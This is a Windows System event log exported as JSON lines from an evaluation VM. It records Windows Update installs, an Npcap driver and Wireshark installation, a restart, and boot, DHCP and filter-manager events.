{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-WindowsUpdateClient","Guid":"945A8954-C147-4ACD-923F-40C45405A658"}},"EventID":43,"Version":1,"Level":4,"Task":1,"Opcode":13,"Keywords":"0x8000000000002008","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:38.620285Z"}},"EventRecordID":2976,"Correlation":null,"Execution":{"#attributes":{"ProcessID":2876,"ThreadID":9788}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"updateTitle":"9PMMSR1CGPWG-Microsoft.HEIFImageExtension","updateGuid":"AF84AB07-3C9B-4EEC-992F-D5281445DA6E","updateRevisionNumber":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-WindowsUpdateClient","Guid":"945A8954-C147-4ACD-923F-40C45405A658"}},"EventID":19,"Version":1,"Level":4,"Task":1,"Opcode":13,"Keywords":"0x8000000000000018","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:38.987651Z"}},"EventRecordID":2977,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-48A8-C3A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":2876,"ThreadID":9788}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"updateTitle":"9PMMSR1CGPWG-Microsoft.HEIFImageExtension","updateGuid":"AF84AB07-3C9B-4EEC-992F-D5281445DA6E","updateRevisionNumber":1,"serviceGuid":"855E8A7C-ECB4-4CA3-B045-1DFA50104289"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-WindowsUpdateClient","Guid":"945A8954-C147-4ACD-923F-40C45405A658"}},"EventID":44,"Version":1,"Level":4,"Task":1,"Opcode":12,"Keywords":"0x8000000000002004","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:40.885033Z"}},"EventRecordID":2978,"Correlation":null,"Execution":{"#attributes":{"ProcessID":2876,"ThreadID":5048}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"updateTitle":"9NH2SW16MQ7F-Microsoft.WindowsAppRuntime.1.5","updateGuid":"8773522E-91D4-4492-BDE6-BBB32E34CC4E","updateRevisionNumber":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Service Control Manager","Guid":"{555908d1-a6d7-4695-8e1e-26931d2012f4}","EventSourceName":"Service Control Manager"}},"EventID":{"#attributes":{"Qualifiers":16384},"#text":7045},"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8080000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:47.470679Z"}},"EventRecordID":2979,"Correlation":null,"Execution":{"#attributes":{"ProcessID":788,"ThreadID":876}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"ServiceName":"Npcap Packet Driver (NPCAP)","ImagePath":"\\SystemRoot\\system32\\DRIVERS\\npcap.sys","ServiceType":"kernel mode driver","StartType":"system start","AccountName":""}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:51.384625Z"}},"EventRecordID":2980,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4276}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":146,"HiveName":"\\??\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAppRuntime.1.5_5001.311.2039.0_x64__8wekyb3d8bbwe\\ActivationStore.dat","KeysUpdated":0,"DirtyPages":0}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:05.805353Z"}},"EventRecordID":2981,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4276}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":146,"HiveName":"\\??\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAppRuntime.1.5_5001.311.2039.0_x86__8wekyb3d8bbwe\\ActivationStore.dat","KeysUpdated":0,"DirtyPages":0}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"User32","Guid":"{b0aa8734-56f7-41cc-b2f4-de228e98b946}","EventSourceName":"User32"}},"EventID":{"#attributes":{"Qualifiers":32768},"#text":1074},"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8080000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:07.647926Z"}},"EventRecordID":2982,"Correlation":null,"Execution":{"#attributes":{"ProcessID":572,"ThreadID":1160}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"param1":"C:\\Users\\User\\Downloads\\Wireshark-4.4.2-x64.exe (WINDEV2401EVAL)","param2":"WINDEV2401EVAL","param3":"Application: Installation (Planned)","param4":"0x80040002","param5":"restart","param6":"","param7":"WINDEV2401EVAL\\User"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-WindowsUpdateClient","Guid":"945A8954-C147-4ACD-923F-40C45405A658"}},"EventID":44,"Version":1,"Level":4,"Task":1,"Opcode":12,"Keywords":"0x8000000000002004","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:07.740334Z"}},"EventRecordID":2983,"Correlation":null,"Execution":{"#attributes":{"ProcessID":2876,"ThreadID":5048}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"updateTitle":"9N8MHTPHNGVV-Microsoft.Windows.DevHome","updateGuid":"9FDB0C59-6D48-4E86-A387-4CC86B6FB6E4","updateRevisionNumber":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Winlogon","Guid":"DBE9B383-7CF3-4331-91CC-A3CB16A3B538"}},"EventID":7002,"Version":0,"Level":4,"Task":1102,"Opcode":0,"Keywords":"0x2000200000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:08.626566Z"}},"EventRecordID":2984,"Correlation":null,"Execution":{"#attributes":{"ProcessID":720,"ThreadID":1460}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"TSId":1,"UserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"EventLog"}},"EventID":{"#attributes":{"Qualifiers":32768},"#text":6006},"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x80000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:09.674863Z"}},"EventRecordID":2985,"Correlation":null,"Execution":{"#attributes":{"ProcessID":1604,"ThreadID":10528}},"Channel":"System","Computer":"WinDev2401Eval","Security":null},"EventData":{"Data":{"#text":""},"Binary":"0100000000000000"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Dhcp-Client","Guid":"15A7A4F8-0072-4EAB-ABAD-F98A4D666AED"}},"EventID":50104,"Version":0,"Level":4,"Task":4,"Opcode":129,"Keywords":"0x2000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:09.672302Z"}},"EventRecordID":2986,"Correlation":null,"Execution":{"#attributes":{"ProcessID":1624,"ThreadID":1628}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-19"}}},"EventData":null}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Dhcp-Client","Guid":"15A7A4F8-0072-4EAB-ABAD-F98A4D666AED"}},"EventID":50105,"Version":0,"Level":4,"Task":4,"Opcode":129,"Keywords":"0x2000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:09.672398Z"}},"EventRecordID":2987,"Correlation":null,"Execution":{"#attributes":{"ProcessID":1624,"ThreadID":1780}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-19"}}},"EventData":null}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-DHCPv6-Client","Guid":"6A1F2B00-6A90-4C38-95A5-5CAB3B056778"}},"EventID":51047,"Version":0,"Level":4,"Task":4,"Opcode":63,"Keywords":"0x2000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:09.679293Z"}},"EventRecordID":2988,"Correlation":null,"Execution":{"#attributes":{"ProcessID":1624,"ThreadID":1872}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-19"}}},"EventData":{"DwordVal":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-DHCPv6-Client","Guid":"6A1F2B00-6A90-4C38-95A5-5CAB3B056778"}},"EventID":51057,"Version":0,"Level":4,"Task":4,"Opcode":104,"Keywords":"0x2000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:09.679294Z"}},"EventRecordID":2989,"Correlation":null,"Execution":{"#attributes":{"ProcessID":1624,"ThreadID":1872}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-19"}}},"EventData":{"DwordVal":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Dhcp-Client","Guid":"15A7A4F8-0072-4EAB-ABAD-F98A4D666AED"}},"EventID":50106,"Version":0,"Level":4,"Task":4,"Opcode":129,"Keywords":"0x2000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:09.692911Z"}},"EventRecordID":2990,"Correlation":null,"Execution":{"#attributes":{"ProcessID":1624,"ThreadID":1780}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-19"}}},"EventData":null}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Dhcp-Client","Guid":"15A7A4F8-0072-4EAB-ABAD-F98A4D666AED"}},"EventID":50037,"Version":0,"Level":4,"Task":4,"Opcode":69,"Keywords":"0x2000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:09.692914Z"}},"EventRecordID":2991,"Correlation":null,"Execution":{"#attributes":{"ProcessID":1624,"ThreadID":1780}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-19"}}},"EventData":{"DwordVal":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"EventLog"}},"EventID":{"#attributes":{"Qualifiers":32768},"#text":6009},"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x80000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.076535Z"}},"EventRecordID":2992,"Correlation":null,"Execution":{"#attributes":{"ProcessID":1600,"ThreadID":1716}},"Channel":"System","Computer":"WinDev2401Eval","Security":null},"EventData":{"Data":{"#text":["10.00.","22621","","Multiprocessor Free","0"]},"Binary":null}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"EventLog"}},"EventID":{"#attributes":{"Qualifiers":32768},"#text":6005},"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x80000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.077327Z"}},"EventRecordID":2993,"Correlation":null,"Execution":{"#attributes":{"ProcessID":1600,"ThreadID":1716}},"Channel":"System","Computer":"WinDev2401Eval","Security":null},"EventData":{"Data":{"#text":""},"Binary":"E90701000500030015000600150043000000000000000000"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-Power","Guid":"331C3B3A-2005-44C2-AC5E-77220C37D6B4"}},"EventID":109,"Version":0,"Level":4,"Task":103,"Opcode":0,"Keywords":"0x8000400000000404","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:11.703012Z"}},"EventRecordID":2994,"Correlation":null,"Execution":{"#attributes":{"ProcessID":668,"ThreadID":672}},"Channel":"System","Computer":"WinDev2401Eval","Security":null},"EventData":{"ShutdownActionType":5,"ShutdownEventCode":0,"ShutdownReason":5}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-Power","Guid":"331C3B3A-2005-44C2-AC5E-77220C37D6B4"}},"EventID":577,"Version":0,"Level":4,"Task":280,"Opcode":0,"Keywords":"0x8000000000000004","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:12.243321Z"}},"EventRecordID":2995,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":3504}},"Channel":"System","Computer":"WinDev2401Eval","Security":null},"EventData":{"AdaptiveTargetState":0,"IsUnattended":false,"Status":279}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"EventLog"}},"EventID":{"#attributes":{"Qualifiers":32768},"#text":6013},"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x80000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.079006Z"}},"EventRecordID":2996,"Correlation":null,"Execution":{"#attributes":{"ProcessID":1600,"ThreadID":1716}},"Channel":"System","Computer":"WinDev2401Eval","Security":null},"EventData":{"Data":{"#text":["","","","","5","60",""]},"Binary":"31002E003100000030000000570069006E0064006F0077007300200031003000200045006E007400650072007000720069007300650020004500760061006C0075006100740069006F006E000000310030002E0030002E003200320036003200310020004200750069006C0064002000320032003600320031002000200000004D0075006C0074006900700072006F0063006500730073006F007200200046007200650065000000320032003600320031002E006E0069005F00720065006C0065006100730065002E003200320030003500300036002D00310032003500300000003600350065003800320035006500360000004E006F007400200041007600610069006C00610062006C00650000004E006F007400200041007600610069006C00610062006C00650000003900000034000000380031003700360000003400300039000000570069006E0044006500760032003400300031004500760061006C0000000000"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":13,"Version":0,"Level":4,"Task":2,"Opcode":0,"Keywords":"0x8000000000000080","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:12.331834Z"}},"EventRecordID":2997,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":3504}},"Channel":"System","Computer":"WinDev2401Eval","Security":null},"EventData":{"StopTime":"2025-01-03T21:06:12.331832Z"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":12,"Version":0,"Level":4,"Task":1,"Opcode":0,"Keywords":"0x8000000000000080","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:15.663484Z"}},"EventRecordID":2998,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":8}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"MajorVersion":10,"MinorVersion":0,"BuildVersion":22621,"QfeVersion":3733,"ServiceVersion":0,"BootMode":0,"StartTime":"2025-01-03T21:06:15.500000Z"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-Boot","Guid":"15CA44FF-4D7A-4BAA-BBA5-0998955E531E"}},"EventID":156,"Version":0,"Level":3,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:15.663618Z"}},"EventRecordID":2999,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":8}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Status":3221225659,"EnableDisableReason":6,"VsmPolicy":515}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-Boot","Guid":"15CA44FF-4D7A-4BAA-BBA5-0998955E531E"}},"EventID":20,"Version":1,"Level":4,"Task":31,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:15.663728Z"}},"EventRecordID":3000,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":8}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"LastShutdownGood":true,"LastBootGood":true,"LastBootId":20,"BootStatusPolicy":2}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Hyper-V-Hypervisor","Guid":"52FC89F8-995E-434C-A91E-199986449890"}},"EventID":59,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000400000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:15.663739Z"}},"EventRecordID":3001,"Correlation":{"#attributes":{"ActivityID":"8540B091-2DD0-04F9-BFE7-28DBC91AF0B7"}},"Execution":{"#attributes":{"ProcessID":4,"ThreadID":8}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":null}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-Boot","Guid":"15CA44FF-4D7A-4BAA-BBA5-0998955E531E"}},"EventID":238,"Version":1,"Level":4,"Task":101,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:15.663758Z"}},"EventRecordID":3002,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":8}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"EfiTimeZoneBias":2047,"EfiDaylightFlags":0,"EfiTime":"2025-01-03T13:06:15.000000Z"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-Boot","Guid":"15CA44FF-4D7A-4BAA-BBA5-0998955E531E"}},"EventID":124,"Version":0,"Level":2,"Task":80,"Opcode":0,"Keywords":"0x8000480000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:15.663758Z"}},"EventRecordID":3003,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":8}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Phase":0,"Status":3221225659}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-Boot","Guid":"15CA44FF-4D7A-4BAA-BBA5-0998955E531E"}},"EventID":25,"Version":0,"Level":4,"Task":32,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:15.663758Z"}},"EventRecordID":3004,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":8}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"BootMenuPolicy":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-Boot","Guid":"15CA44FF-4D7A-4BAA-BBA5-0998955E531E"}},"EventID":27,"Version":1,"Level":4,"Task":33,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:15.663759Z"}},"EventRecordID":3005,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":8}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"BootType":0,"LoadOptions":" NOEXECUTE=OPTIN HYPERVISORLAUNCHTYPE=AUTO FVEBOOT=2674688 NOVGA"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-Boot","Guid":"15CA44FF-4D7A-4BAA-BBA5-0998955E531E"}},"EventID":18,"Version":0,"Level":4,"Task":57,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:15.663798Z"}},"EventRecordID":3006,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":8}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"EntryCount":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-Boot","Guid":"15CA44FF-4D7A-4BAA-BBA5-0998955E531E"}},"EventID":32,"Version":0,"Level":4,"Task":58,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:15.663810Z"}},"EventRecordID":3007,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":8}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"BitlockerUserInputTime":0}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":20,"Version":0,"Level":4,"Task":6,"Opcode":0,"Keywords":"0x8000000000000010","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:15.665083Z"}},"EventRecordID":3008,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":8}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"UpdateReason":0,"EnabledNew":true,"CountNew":0,"CountOld":0}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HAL","Guid":"63D1E632-95CC-4443-9312-AF927761D52A"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:15.706421Z"}},"EventRecordID":3009,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":8}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":null}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-FilterManager","Guid":"F3C5E28E-63F6-49C7-A204-E48A1BC4B09D"}},"EventID":6,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:16.730715Z"}},"EventRecordID":3010,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":8}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"FinalStatus":"0x0","DeviceVersionMajor":10,"DeviceVersionMinor":0,"DeviceNameLength":8,"DeviceName":"FileInfo","DeviceTime":"2079-02-26T14:03:00.000000Z"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-FilterManager","Guid":"F3C5E28E-63F6-49C7-A204-E48A1BC4B09D"}},"EventID":6,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:16.730942Z"}},"EventRecordID":3011,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":8}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"FinalStatus":"0x0","DeviceVersionMajor":10,"DeviceVersionMinor":0,"DeviceNameLength":3,"DeviceName":"Wof","DeviceTime":"2086-08-04T03:20:16.000000Z"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-FilterManager","Guid":"F3C5E28E-63F6-49C7-A204-E48A1BC4B09D"}},"EventID":6,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:16.731299Z"}},"EventRecordID":3012,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":8}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"FinalStatus":"0x0","DeviceVersionMajor":10,"DeviceVersionMinor":0,"DeviceNameLength":8,"DeviceName":"WdFilter","DeviceTime":"2055-04-20T12:48:29.000000Z"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Ntfs","Guid":"3FF37A1C-A68D-4D6E-8C9B-F79E8B16C482"}},"EventID":98,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000002","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:17.497029Z"}},"EventRecordID":3013,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":124}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"DriveName":"C:","DeviceName":"\\Device\\HarddiskVolume4","CorruptionActionState":0}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-FilterManager","Guid":"F3C5E28E-63F6-49C7-A204-E48A1BC4B09D"}},"EventID":6,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:17.533145Z"}},"EventRecordID":3014,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":8}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"FinalStatus":"0x0","DeviceVersionMajor":10,"DeviceVersionMinor":0,"DeviceNameLength":9,"DeviceName":"FileCrypt","DeviceTime":"1983-08-18T18:58:35.000000Z"}}}
